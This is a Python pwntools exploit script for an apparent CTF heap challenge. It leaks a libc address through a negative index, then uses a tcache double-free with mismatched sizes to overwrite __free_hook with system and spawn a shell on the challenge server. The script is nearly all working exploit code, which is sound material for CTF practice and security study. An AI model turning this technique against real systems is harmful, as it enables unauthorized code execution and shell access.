#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.29.so", checksec=False)
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwn.chal.ctf.gdgalgiers.com", 1405)
return r
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
def add(size, content):
sla(b'option: ', b'1')
sla(b'Size: ', str(size).encode())
sla(b'content: ', content)
def remove(idx):
sla(b'option: ', b'2')
sla(b'index: ', str(idx).encode())
def edit():
sla(b'option: ', b'3')
def view(idx):
sla(b'option: ', b'4')
sla(b'Index: ', str(idx).encode())
p = conn()
##################################
### Stage 1: Leak libc address ###
##################################
view(-2)
p.recvuntil(b'located at: ')
libc_leak = int(p.recv(14), 16)
libc.address = libc_leak - 0x1e5680
log.info(hex(libc.address))
##############################
### Stage 2: Tcache attack ###
##############################
# Because when we free a chunk within tcache size
# the program just check if size is valid, don't check if
# Idea: Free the same chunk with different sizes
add(0x18, b'0'*0x8)
add(0x18, b'1'*0x8)
add(0x118, b'2'*0x8)
remove(2)
remove(1)
# GDB()
add(0x18, b'0'*0x18)
remove(0)
remove(2)
add(0x118, p64(libc.sym['__free_hook']))
add(0x18, b'/bin/sh')
add(0x18, p64(libc.sym['system']))
remove(1)
p.interactive()